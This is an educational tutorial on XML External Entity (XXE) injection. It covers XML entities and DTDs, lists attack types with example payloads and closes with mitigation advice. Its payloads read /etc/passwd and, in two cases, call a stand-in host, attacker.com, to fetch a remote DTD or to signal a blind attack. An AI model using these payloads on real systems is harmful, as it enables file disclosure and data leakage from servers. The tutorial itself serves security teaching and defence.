Unraveling XXE Vulnerabilities

What is XXE?
XML External Entity injection (XXE) is a web security vulnerability that exploits
an application's processing of external entities within XML data. Attackers can
inject malicious entities that reference external resources or perform
unauthorized actions, potentially leading to data breaches, information
disclosure, and server-side attacks.

XML (eXtensible Markup Language):

XML is a markup language that defines rules for encoding documents in a
format that is both human-readable and machine-readable. It is designed to
store and transport data, with a focus on simplicity and generality.

XML Entity:
An XML entity is a predefined or user-defined symbolic representation of data
that can be referenced within an XML document. Entities are used to represent
special characters or reusable pieces of content, making it easier to manage
and reference them throughout the document.

Document Type Definition (DTD):

A Document Type Definition is a set of rules that defines the structure and the
legal elements and attributes of an XML document. DTDs are used to validate
the structure of an XML document, ensuring it conforms to a predefined
format.
XML Custom Entities:
Custom entities in XML are user-defined entities created within an XML
document to represent specific data. They can be defined within the DTD or
directly within the XML document. Custom entities are useful for reusing
content and simplifying document structure.
Example of XML Custom Entity:
<!DOCTYPE note [
<!ENTITY companyName "Example Corp">
]>
<note>
<to>Tove</to>
<from>&companyName;</from>
<message>XML custom entities are powerful!</message>
</note>
In this example, the `&companyName;` entity is defined as "Example Corp" and
is used within the `<from>` element.

XML External Entities (XXE):

XML External Entities are a type of security vulnerability that occurs when an
XML parser processes external entities from untrusted sources. Attackers can
exploit XXE to disclose internal files, execute remote code, or perform other
malicious actions.
Example of XML External Entity:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
In this example, the `&xxe;` entity is defined to include the content of the
`/etc/passwd` file on the server. When the XML is parsed, it can lead to the
disclosure of sensitive information.

How do you perform XXE?

An XML External Entity (XXE) attack exploits the capability of XML processors to
include external entities, leading to potential disclosure of sensitive
information or even remote code execution. Here's a step-by-step explanation
of how XXE attacks are performed:
1. Understanding the Target:
• Identify a target application that processes XML input, such as a web
application or a service.
2. Crafting Malicious XML Payload:
• Create a malicious XML payload that includes a declaration for an
external entity. The payload is designed to exploit the application's XML
processing functionality.
3. Injection of Malicious XML Payload:
 • Inject the crafted XML payload into an input field or parameter of the
target application that processes XML. This could be part of a web form,
an XML-based API, or any other input mechanism.
4. Triggering XML Processing:
• Submit or send the manipulated input to the target application, forcing it
to process the XML payload.
5. Exploiting External Entity Declaration:
• The XML parser interprets the external entity declaration and attempts
to fetch the external resource specified in the payload. This resource can
be a file, URL, or any other data source.
Example XXE Payload: Consider the following XML payload that attempts to
read the contents of the /etc/passwd file:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM
"file:///etc/passwd" >]> <foo>&xxe;</foo>
In this example, &xxe; is an external entity pointing to the /etc/passwd file.

Type of XXE Attack

1. Classic XXE Attack:
• Description: The attacker injects a malicious XML payload containing an
external entity declaration to disclose sensitive files or perform other
actions.
• Example Payload:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
2. Parameter Entities XXE Attack:
• Description: Exploits parameter entities in Document Type Definition
(DTD) to achieve similar effects as classic XXE.
• Example Payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe;]>
<foo></foo>
3. Entity Expansion Attack:
• Description: The attacker leverages a large number of nested entity
expansions to consume excessive system resources, leading to a denial-
of-service (DoS) condition.
• Example Payload:
<!DOCTYPE foo [<!ENTITY x0 "foo">]> <foo>&x0;&x0;&x0; ... (repeat) ...
&x0;</foo>
4. Remote Entity Expansion Attack:
• Description: Similar to entity expansion, but the external entities are
fetched from a remote server, allowing an attacker to control the payload
dynamically.
• Example Payload:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]>
<foo>&xxe;</foo>
5. Blind XXE Attack:
• Description: The attacker injects an XXE payload but cannot directly
observe the response. Instead, the attacker relies on out-of-band
channels to confirm the success of the attack.
• Example Payload:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/notify">]>
<foo>&xxe;</foo>
6. XXE via File Upload:
• Description: The attacker uploads a malicious XML file, triggering XXE
when the server processes the uploaded content.
• Example Scenario:
• Attacker uploads an XML file containing XXE payload.
• Server parses the XML during the upload process.
• XXE payload executes, leading to potential exploitation.
Mitigating XXE Vulnerabilities
Protecting your web applications against XXE attacks is paramount. Here are
some best practices for mitigation:
1. Input Validation
Always validate and sanitize user input, especially when parsing XML. Restrict
the use of external entities and disallow document type declarations (DTDs)
unless necessary.
2. Use Safe Parsers
Use XML parsers that are not vulnerable to XXE attacks or configure them to
disable external entity resolution.
3. Web Application Firewall (WAF)
Implement a WAF to detect and block malicious XML payloads before they
reach your application.
4. Regular Updates
Keep your software, libraries, and dependencies up to date to patch any known
XXE vulnerabilities.
5. Disable DTD Processing
If DTD processing is not required, disable it entirely in your XML parser.

Reference
• https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-
injections-b0e3eac388f9
• https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-
vulnerability-f8c4094fef83